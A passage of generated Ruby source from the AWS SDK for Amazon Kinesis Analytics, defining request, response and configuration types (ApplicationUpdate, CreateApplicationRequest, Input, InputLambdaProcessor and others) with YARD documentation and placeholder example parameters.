# kinesis_firehose_output_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# lambda_output_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# destination_schema_update: {
# record_format_type: "JSON", # required, accepts JSON, CSV
# },
# },
# ],
# reference_data_source_updates: [
# {
# reference_id: "Id", # required
# table_name_update: "InAppTableName",
# s3_reference_data_source_update: {
# bucket_arn_update: "BucketARN",
# file_key_update: "FileKey",
# reference_role_arn_update: "RoleARN",
# },
# reference_schema_update: {
# record_format: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding: "RecordEncoding",
# record_columns: [ # required
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# },
# ],
# cloud_watch_logging_option_updates: [
# {
# cloud_watch_logging_option_id: "Id", # required
# log_stream_arn_update: "LogStreamARN",
# role_arn_update: "RoleARN",
# },
# ],
# }
#
# @!attribute [rw] input_updates
# Describes application input configuration updates.
# @return [Array<Types::InputUpdate>]
#
# @!attribute [rw] application_code_update
# Describes application code updates.
# @return [String]
#
# @!attribute [rw] output_updates
# Describes application output configuration updates.
# @return [Array<Types::OutputUpdate>]
#
# @!attribute [rw] reference_data_source_updates
# Describes application reference data source updates.
# @return [Array<Types::ReferenceDataSourceUpdate>]
#
# @!attribute [rw] cloud_watch_logging_option_updates
# Describes application CloudWatch logging option updates.
# @return [Array<Types::CloudWatchLoggingOptionUpdate>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ApplicationUpdate AWS API Documentation
#
class ApplicationUpdate < Struct.new(
:input_updates,
:application_code_update,
:output_updates,
:reference_data_source_updates,
:cloud_watch_logging_option_updates)
SENSITIVE = []
include Aws::Structure
end
# Provides additional mapping information when the record format uses
# delimiters, such as CSV. For example, the following sample records use
# CSV format, where the records use the *'\\n'* as the row delimiter
# and a comma (",") as the column delimiter:
#
# `"name1", "address1"`
#
# `"name2", "address2"`
#
# @note When making an API call, you may pass CSVMappingParameters
# data as a hash:
#
# {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# }
#
# @!attribute [rw] record_row_delimiter
# Row delimiter. For example, in a CSV format, *'\\n'* is the
# typical row delimiter.
# @return [String]
#
# @!attribute [rw] record_column_delimiter
# Column delimiter. For example, in a CSV format, a comma (",") is
# the typical column delimiter.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/CSVMappingParameters AWS API Documentation
#
class CSVMappingParameters < Struct.new(
:record_row_delimiter,
:record_column_delimiter)
SENSITIVE = []
include Aws::Structure
end
# Provides a description of CloudWatch logging options, including the
# log stream Amazon Resource Name (ARN) and the role ARN.
#
# @note When making an API call, you may pass CloudWatchLoggingOption
# data as a hash:
#
# {
# log_stream_arn: "LogStreamARN", # required
# role_arn: "RoleARN", # required
# }
#
# @!attribute [rw] log_stream_arn
# ARN of the CloudWatch log to receive application messages.
# @return [String]
#
# @!attribute [rw] role_arn
# IAM ARN of the role to use to send application messages. Note: To
# write application messages to CloudWatch, the IAM role that is used
# must have the `PutLogEvents` policy action enabled.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/CloudWatchLoggingOption AWS API Documentation
#
class CloudWatchLoggingOption < Struct.new(
:log_stream_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# Description of the CloudWatch logging option.
#
# @!attribute [rw] cloud_watch_logging_option_id
# ID of the CloudWatch logging option description.
# @return [String]
#
# @!attribute [rw] log_stream_arn
# ARN of the CloudWatch log to receive application messages.
# @return [String]
#
# @!attribute [rw] role_arn
# IAM ARN of the role to use to send application messages. Note: To
# write application messages to CloudWatch, the IAM role used must
# have the `PutLogEvents` policy action enabled.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/CloudWatchLoggingOptionDescription AWS API Documentation
#
class CloudWatchLoggingOptionDescription < Struct.new(
:cloud_watch_logging_option_id,
:log_stream_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# Describes CloudWatch logging option updates.
#
# @note When making an API call, you may pass CloudWatchLoggingOptionUpdate
# data as a hash:
#
# {
# cloud_watch_logging_option_id: "Id", # required
# log_stream_arn_update: "LogStreamARN",
# role_arn_update: "RoleARN",
# }
#
# @!attribute [rw] cloud_watch_logging_option_id
# ID of the CloudWatch logging option to update
# @return [String]
#
# @!attribute [rw] log_stream_arn_update
# ARN of the CloudWatch log to receive application messages.
# @return [String]
#
# @!attribute [rw] role_arn_update
# IAM ARN of the role to use to send application messages. Note: To
# write application messages to CloudWatch, the IAM role used must
# have the `PutLogEvents` policy action enabled.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/CloudWatchLoggingOptionUpdate AWS API Documentation
#
class CloudWatchLoggingOptionUpdate < Struct.new(
:cloud_watch_logging_option_id,
:log_stream_arn_update,
:role_arn_update)
SENSITIVE = []
include Aws::Structure
end
# User-provided application code (query) is invalid. This can be a
# simple syntax error.
#
# @!attribute [rw] message
# Test
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/CodeValidationException AWS API Documentation
#
class CodeValidationException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Exception thrown as a result of concurrent modification to an
# application. For example, two individuals attempting to edit the same
# application at the same time.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ConcurrentModificationException AWS API Documentation
#
class ConcurrentModificationException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# TBD
#
# @note When making an API call, you may pass CreateApplicationRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# application_description: "ApplicationDescription",
# inputs: [
# {
# name_prefix: "InAppStreamName", # required
# input_processing_configuration: {
# input_lambda_processor: { # required
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# },
# kinesis_streams_input: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# kinesis_firehose_input: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# input_parallelism: {
# count: 1,
# },
# input_schema: { # required
# record_format: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding: "RecordEncoding",
# record_columns: [ # required
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# },
# ],
# outputs: [
# {
# name: "InAppStreamName", # required
# kinesis_streams_output: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# kinesis_firehose_output: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# lambda_output: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# destination_schema: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# },
# },
# ],
# cloud_watch_logging_options: [
# {
# log_stream_arn: "LogStreamARN", # required
# role_arn: "RoleARN", # required
# },
# ],
# application_code: "ApplicationCode",
# tags: [
# {
# key: "TagKey", # required
# value: "TagValue",
# },
# ],
# }
#
# @!attribute [rw] application_name
# Name of your Amazon Kinesis Analytics application (for example,
# `sample-app`).
# @return [String]
#
# @!attribute [rw] application_description
# Summary description of the application.
# @return [String]
#
# @!attribute [rw] inputs
# Use this parameter to configure the application input.
#
# You can configure your application to receive input from a single
# streaming source. In this configuration, you map this streaming
# source to an in-application stream that is created. Your application
# code can then query the in-application stream like a table (you can
# think of it as a constantly updating table).
#
# For the streaming source, you provide its Amazon Resource Name (ARN)
# and format of data on the stream (for example, JSON, CSV, etc.). You
# also must provide an IAM role that Amazon Kinesis Analytics can
# assume to read this stream on your behalf.
#
# To create the in-application stream, you need to specify a schema to
# transform your data into a schematized version used in SQL. In the
# schema, you provide the necessary mapping of the data elements in
# the streaming source to record columns in the in-app stream.
# @return [Array<Types::Input>]
#
# @!attribute [rw] outputs
# You can configure application output to write data from any of the
# in-application streams to up to three destinations.
#
# These destinations can be Amazon Kinesis streams, Amazon Kinesis
# Firehose delivery streams, AWS Lambda destinations, or any
# combination of the three.
#
# In the configuration, you specify the in-application stream name,
# the destination stream or Lambda function Amazon Resource Name
# (ARN), and the format to use when writing data. You must also
# provide an IAM role that Amazon Kinesis Analytics can assume to
# write to the destination stream or Lambda function on your behalf.
#
# In the output configuration, you also provide the output stream or
# Lambda function ARN. For stream destinations, you provide the format
# of data in the stream (for example, JSON, CSV). You also must
# provide an IAM role that Amazon Kinesis Analytics can assume to
# write to the stream or Lambda function on your behalf.
# @return [Array<Types::Output>]
#
# @!attribute [rw] cloud_watch_logging_options
# Use this parameter to configure a CloudWatch log stream to monitor
# application configuration errors. For more information, see [Working
# with Amazon CloudWatch Logs][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/cloudwatch-logs.html
# @return [Array<Types::CloudWatchLoggingOption>]
#
# @!attribute [rw] application_code
# One or more SQL statements that read input data, transform it, and
# generate output. For example, you can write a SQL statement that
# reads data from one in-application stream, generates a running
# average of the number of advertisement clicks by vendor, and insert
# resulting rows in another in-application stream using pumps. For
# more information about the typical pattern, see [Application
# Code][1].
#
# You can provide such series of SQL statements, where output of one
# statement can be used as the input for the next statement. You store
# intermediate results by creating in-application streams and pumps.
#
# Note that the application code must create the streams with names
# specified in the `Outputs`. For example, if your `Outputs` defines
# output streams named `ExampleOutputStream1` and
# `ExampleOutputStream2`, then your application code must create these
# streams.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-app-code.html
# @return [String]
#
# @!attribute [rw] tags
# A list of one or more tags to assign to the application. A tag is a
# key-value pair that identifies an application. Note that the maximum
# number of application tags includes system tags. The maximum number
# of user-defined application tags is 50. For more information, see
# [Using Tagging][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-tagging.html
# @return [Array<Types::Tag>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/CreateApplicationRequest AWS API Documentation
#
class CreateApplicationRequest < Struct.new(
:application_name,
:application_description,
:inputs,
:outputs,
:cloud_watch_logging_options,
:application_code,
:tags)
SENSITIVE = []
include Aws::Structure
end
# TBD
#
# @!attribute [rw] application_summary
# In response to your `CreateApplication` request, Amazon Kinesis
# Analytics returns a response with a summary of the application it
# created, including the application Amazon Resource Name (ARN), name,
# and status.
# @return [Types::ApplicationSummary]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/CreateApplicationResponse AWS API Documentation
#
class CreateApplicationResponse < Struct.new(
:application_summary)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DeleteApplicationCloudWatchLoggingOptionRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# current_application_version_id: 1, # required
# cloud_watch_logging_option_id: "Id", # required
# }
#
# @!attribute [rw] application_name
# The Kinesis Analytics application name.
# @return [String]
#
# @!attribute [rw] current_application_version_id
# The version ID of the Kinesis Analytics application.
# @return [Integer]
#
# @!attribute [rw] cloud_watch_logging_option_id
# The `CloudWatchLoggingOptionId` of the CloudWatch logging option to
# delete. You can get the `CloudWatchLoggingOptionId` by using the
# [DescribeApplication][1] operation.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DeleteApplicationCloudWatchLoggingOptionRequest AWS API Documentation
#
class DeleteApplicationCloudWatchLoggingOptionRequest < Struct.new(
:application_name,
:current_application_version_id,
:cloud_watch_logging_option_id)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DeleteApplicationCloudWatchLoggingOptionResponse AWS API Documentation
#
class DeleteApplicationCloudWatchLoggingOptionResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass DeleteApplicationInputProcessingConfigurationRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# current_application_version_id: 1, # required
# input_id: "Id", # required
# }
#
# @!attribute [rw] application_name
# The Kinesis Analytics application name.
# @return [String]
#
# @!attribute [rw] current_application_version_id
# The version ID of the Kinesis Analytics application.
# @return [Integer]
#
# @!attribute [rw] input_id
# The ID of the input configuration from which to delete the input
# processing configuration. You can get a list of the input IDs for an
# application by using the [DescribeApplication][1] operation.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DeleteApplicationInputProcessingConfigurationRequest AWS API Documentation
#
class DeleteApplicationInputProcessingConfigurationRequest < Struct.new(
:application_name,
:current_application_version_id,
:input_id)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DeleteApplicationInputProcessingConfigurationResponse AWS API Documentation
#
class DeleteApplicationInputProcessingConfigurationResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass DeleteApplicationOutputRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# current_application_version_id: 1, # required
# output_id: "Id", # required
# }
#
# @!attribute [rw] application_name
# Amazon Kinesis Analytics application name.
# @return [String]
#
# @!attribute [rw] current_application_version_id
# Amazon Kinesis Analytics application version. You can use the
# [DescribeApplication][1] operation to get the current application
# version. If the version specified is not the current version, the
# `ConcurrentModificationException` is returned.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [Integer]
#
# @!attribute [rw] output_id
# The ID of the configuration to delete. Each output configuration
# that is added to the application, either when the application is
# created or later using the [AddApplicationOutput][1] operation, has
# a unique ID. You need to provide the ID to uniquely identify the
# output configuration that you want to delete from the application
# configuration. You can use the [DescribeApplication][2] operation to
# get the specific `OutputId`.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_AddApplicationOutput.html
# [2]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DeleteApplicationOutputRequest AWS API Documentation
#
class DeleteApplicationOutputRequest < Struct.new(
:application_name,
:current_application_version_id,
:output_id)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DeleteApplicationOutputResponse AWS API Documentation
#
class DeleteApplicationOutputResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass DeleteApplicationReferenceDataSourceRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# current_application_version_id: 1, # required
# reference_id: "Id", # required
# }
#
# @!attribute [rw] application_name
# Name of an existing application.
# @return [String]
#
# @!attribute [rw] current_application_version_id
# Version of the application. You can use the [DescribeApplication][1]
# operation to get the current application version. If the version
# specified is not the current version, the
# `ConcurrentModificationException` is returned.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [Integer]
#
# @!attribute [rw] reference_id
# ID of the reference data source. When you add a reference data
# source to your application using the
# [AddApplicationReferenceDataSource][1], Amazon Kinesis Analytics
# assigns an ID. You can use the [DescribeApplication][2] operation to
# get the reference ID.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_AddApplicationReferenceDataSource.html
# [2]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DeleteApplicationReferenceDataSourceRequest AWS API Documentation
#
class DeleteApplicationReferenceDataSourceRequest < Struct.new(
:application_name,
:current_application_version_id,
:reference_id)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DeleteApplicationReferenceDataSourceResponse AWS API Documentation
#
class DeleteApplicationReferenceDataSourceResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass DeleteApplicationRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# create_timestamp: Time.now, # required
# }
#
# @!attribute [rw] application_name
# Name of the Amazon Kinesis Analytics application to delete.
# @return [String]
#
# @!attribute [rw] create_timestamp
# You can use the `DescribeApplication` operation to get this value.
# @return [Time]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DeleteApplicationRequest AWS API Documentation
#
class DeleteApplicationRequest < Struct.new(
:application_name,
:create_timestamp)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DeleteApplicationResponse AWS API Documentation
#
class DeleteApplicationResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass DescribeApplicationRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# }
#
# @!attribute [rw] application_name
# Name of the application.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DescribeApplicationRequest AWS API Documentation
#
class DescribeApplicationRequest < Struct.new(
:application_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] application_detail
# Provides a description of the application, such as the application
# Amazon Resource Name (ARN), status, latest version, and input and
# output configuration details.
# @return [Types::ApplicationDetail]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DescribeApplicationResponse AWS API Documentation
#
class DescribeApplicationResponse < Struct.new(
:application_detail)
SENSITIVE = []
include Aws::Structure
end
# Describes the data format when records are written to the destination.
# For more information, see [Configuring Application Output][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-output.html
#
# @note When making an API call, you may pass DestinationSchema
# data as a hash:
#
# {
# record_format_type: "JSON", # required, accepts JSON, CSV
# }
#
# @!attribute [rw] record_format_type
# Specifies the format of the records on the output stream.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DestinationSchema AWS API Documentation
#
class DestinationSchema < Struct.new(
:record_format_type)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass DiscoverInputSchemaRequest
# data as a hash:
#
# {
# resource_arn: "ResourceARN",
# role_arn: "RoleARN",
# input_starting_position_configuration: {
# input_starting_position: "NOW", # accepts NOW, TRIM_HORIZON, LAST_STOPPED_POINT
# },
# s3_configuration: {
# role_arn: "RoleARN", # required
# bucket_arn: "BucketARN", # required
# file_key: "FileKey", # required
# },
# input_processing_configuration: {
# input_lambda_processor: { # required
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# },
# }
#
# @!attribute [rw] resource_arn
# Amazon Resource Name (ARN) of the streaming source.
# @return [String]
#
# @!attribute [rw] role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to
# access the stream on your behalf.
# @return [String]
#
# @!attribute [rw] input_starting_position_configuration
# Point at which you want Amazon Kinesis Analytics to start reading
# records from the specified streaming source discovery purposes.
# @return [Types::InputStartingPositionConfiguration]
#
# @!attribute [rw] s3_configuration
# Specify this parameter to discover a schema from data in an Amazon
# S3 object.
# @return [Types::S3Configuration]
#
# @!attribute [rw] input_processing_configuration
# The [InputProcessingConfiguration][1] to use to preprocess the
# records before discovering the schema of the records.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_InputProcessingConfiguration.html
# @return [Types::InputProcessingConfiguration]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DiscoverInputSchemaRequest AWS API Documentation
#
class DiscoverInputSchemaRequest < Struct.new(
:resource_arn,
:role_arn,
:input_starting_position_configuration,
:s3_configuration,
:input_processing_configuration)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] input_schema
# Schema inferred from the streaming source. It identifies the format
# of the data in the streaming source and how each data element maps
# to corresponding columns in the in-application stream that you can
# create.
# @return [Types::SourceSchema]
#
# @!attribute [rw] parsed_input_records
# An array of elements, where each element corresponds to a row in a
# stream record (a stream record can have more than one row).
# @return [Array<Array<String>>]
#
# @!attribute [rw] processed_input_records
# Stream data that was modified by the processor specified in the
# `InputProcessingConfiguration` parameter.
# @return [Array<String>]
#
# @!attribute [rw] raw_input_records
# Raw stream data that was sampled to infer the schema.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/DiscoverInputSchemaResponse AWS API Documentation
#
class DiscoverInputSchemaResponse < Struct.new(
:input_schema,
:parsed_input_records,
:processed_input_records,
:raw_input_records)
SENSITIVE = []
include Aws::Structure
end
# When you configure the application input, you specify the streaming
# source, the in-application stream name that is created, and the
# mapping between the two. For more information, see [Configuring
# Application Input][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-input.html
#
# @note When making an API call, you may pass Input
# data as a hash:
#
# {
# name_prefix: "InAppStreamName", # required
# input_processing_configuration: {
# input_lambda_processor: { # required
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# },
# kinesis_streams_input: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# kinesis_firehose_input: {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# },
# input_parallelism: {
# count: 1,
# },
# input_schema: { # required
# record_format: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding: "RecordEncoding",
# record_columns: [ # required
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# }
#
# @!attribute [rw] name_prefix
# Name prefix to use when creating an in-application stream. Suppose
# that you specify a prefix "MyInApplicationStream." Amazon Kinesis
# Analytics then creates one or more (as per the `InputParallelism`
# count you specified) in-application streams with names
# "MyInApplicationStream\_001," "MyInApplicationStream\_002," and
# so on.
# @return [String]
#
# @!attribute [rw] input_processing_configuration
# The [InputProcessingConfiguration][1] for the input. An input
# processor transforms records as they are received from the stream,
# before the application's SQL code executes. Currently, the only
# input processing configuration available is
# [InputLambdaProcessor][2].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_InputProcessingConfiguration.html
# [2]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_InputLambdaProcessor.html
# @return [Types::InputProcessingConfiguration]
#
# @!attribute [rw] kinesis_streams_input
# If the streaming source is an Amazon Kinesis stream, identifies the
# stream's Amazon Resource Name (ARN) and an IAM role that enables
# Amazon Kinesis Analytics to access the stream on your behalf.
#
# Note: Either `KinesisStreamsInput` or `KinesisFirehoseInput` is
# required.
# @return [Types::KinesisStreamsInput]
#
# @!attribute [rw] kinesis_firehose_input
# If the streaming source is an Amazon Kinesis Firehose delivery
# stream, identifies the delivery stream's ARN and an IAM role that
# enables Amazon Kinesis Analytics to access the stream on your
# behalf.
#
# Note: Either `KinesisStreamsInput` or `KinesisFirehoseInput` is
# required.
# @return [Types::KinesisFirehoseInput]
#
# @!attribute [rw] input_parallelism
# Describes the number of in-application streams to create.
#
# Data from your source is routed to these in-application input
# streams.
#
# (see [Configuring Application Input][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-input.html
# @return [Types::InputParallelism]
#
# @!attribute [rw] input_schema
# Describes the format of the data in the streaming source, and how
# each data element maps to corresponding columns in the
# in-application stream that is being created.
#
# Also used to describe the format of the reference data source.
# @return [Types::SourceSchema]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/Input AWS API Documentation
#
class Input < Struct.new(
:name_prefix,
:input_processing_configuration,
:kinesis_streams_input,
:kinesis_firehose_input,
:input_parallelism,
:input_schema)
SENSITIVE = []
include Aws::Structure
end
# When you start your application, you provide this configuration, which
# identifies the input source and the point in the input source at which
# you want the application to start processing records.
#
# @note When making an API call, you may pass InputConfiguration
# data as a hash:
#
# {
# id: "Id", # required
# input_starting_position_configuration: { # required
# input_starting_position: "NOW", # accepts NOW, TRIM_HORIZON, LAST_STOPPED_POINT
# },
# }
#
# @!attribute [rw] id
# Input source ID. You can get this ID by calling the
# [DescribeApplication][1] operation.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [String]
#
# @!attribute [rw] input_starting_position_configuration
# Point at which you want the application to start processing records
# from the streaming source.
# @return [Types::InputStartingPositionConfiguration]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputConfiguration AWS API Documentation
#
class InputConfiguration < Struct.new(
:id,
:input_starting_position_configuration)
SENSITIVE = []
include Aws::Structure
end
# Describes the application input configuration. For more information,
# see [Configuring Application Input][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-it-works-input.html
#
# @!attribute [rw] input_id
# Input ID associated with the application input. This is the ID that
# Amazon Kinesis Analytics assigns to each input configuration you add
# to your application.
# @return [String]
#
# @!attribute [rw] name_prefix
# In-application name prefix.
# @return [String]
#
# @!attribute [rw] in_app_stream_names
# Returns the in-application stream names that are mapped to the
# stream source.
# @return [Array<String>]
#
# @!attribute [rw] input_processing_configuration_description
# The description of the preprocessor that executes on records in this
# input before the application's code is run.
# @return [Types::InputProcessingConfigurationDescription]
#
# @!attribute [rw] kinesis_streams_input_description
# If an Amazon Kinesis stream is configured as streaming source,
# provides Amazon Kinesis stream's Amazon Resource Name (ARN) and an
# IAM role that enables Amazon Kinesis Analytics to access the stream
# on your behalf.
# @return [Types::KinesisStreamsInputDescription]
#
# @!attribute [rw] kinesis_firehose_input_description
# If an Amazon Kinesis Firehose delivery stream is configured as a
# streaming source, provides the delivery stream's ARN and an IAM
# role that enables Amazon Kinesis Analytics to access the stream on
# your behalf.
# @return [Types::KinesisFirehoseInputDescription]
#
# @!attribute [rw] input_schema
# Describes the format of the data in the streaming source, and how
# each data element maps to corresponding columns in the
# in-application stream that is being created.
# @return [Types::SourceSchema]
#
# @!attribute [rw] input_parallelism
# Describes the configured parallelism (number of in-application
# streams mapped to the streaming source).
# @return [Types::InputParallelism]
#
# @!attribute [rw] input_starting_position_configuration
# Point at which the application is configured to read from the input
# stream.
# @return [Types::InputStartingPositionConfiguration]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputDescription AWS API Documentation
#
class InputDescription < Struct.new(
:input_id,
:name_prefix,
:in_app_stream_names,
:input_processing_configuration_description,
:kinesis_streams_input_description,
:kinesis_firehose_input_description,
:input_schema,
:input_parallelism,
:input_starting_position_configuration)
SENSITIVE = []
include Aws::Structure
end
# An object that contains the Amazon Resource Name (ARN) of the [AWS
# Lambda][1] function that is used to preprocess records in the stream,
# and the ARN of the IAM role that is used to access the AWS Lambda
# function.
#
#
#
# [1]: https://docs.aws.amazon.com/lambda/
#
# @note When making an API call, you may pass InputLambdaProcessor
# data as a hash:
#
# {
# resource_arn: "ResourceARN", # required
# role_arn: "RoleARN", # required
# }
#
# @!attribute [rw] resource_arn
# The ARN of the [AWS Lambda][1] function that operates on records in
# the stream.
#
# <note markdown="1"> To specify an earlier version of the Lambda function than the
# latest, include the Lambda function version in the Lambda function
# ARN. For more information about Lambda ARNs, see [Example ARNs: AWS
# Lambda](/general/latest/gr/aws-arns-and-namespaces.html#arn-syntax-lambda)
#
# </note>
#
#
#
# [1]: https://docs.aws.amazon.com/lambda/
# @return [String]
#
# @!attribute [rw] role_arn
# The ARN of the IAM role that is used to access the AWS Lambda
# function.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputLambdaProcessor AWS API Documentation
#
class InputLambdaProcessor < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# An object that contains the Amazon Resource Name (ARN) of the [AWS
# Lambda][1] function that is used to preprocess records in the stream,
# and the ARN of the IAM role that is used to access the AWS Lambda
# expression.
#
#
#
# [1]: https://docs.aws.amazon.com/lambda/
#
# @!attribute [rw] resource_arn
# The ARN of the [AWS Lambda][1] function that is used to preprocess
# the records in the stream.
#
#
#
# [1]: https://docs.aws.amazon.com/lambda/
# @return [String]
#
# @!attribute [rw] role_arn
# The ARN of the IAM role that is used to access the AWS Lambda
# function.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/InputLambdaProcessorDescription AWS API Documentation
#
class InputLambdaProcessorDescription < Struct.new(
:resource_arn,
:role_arn)
SENSITIVE = []
include Aws::Structure
end
# Represents an update to the [InputLambdaProcessor][1] that is used to
# preprocess the records in the stream.
#
#
#
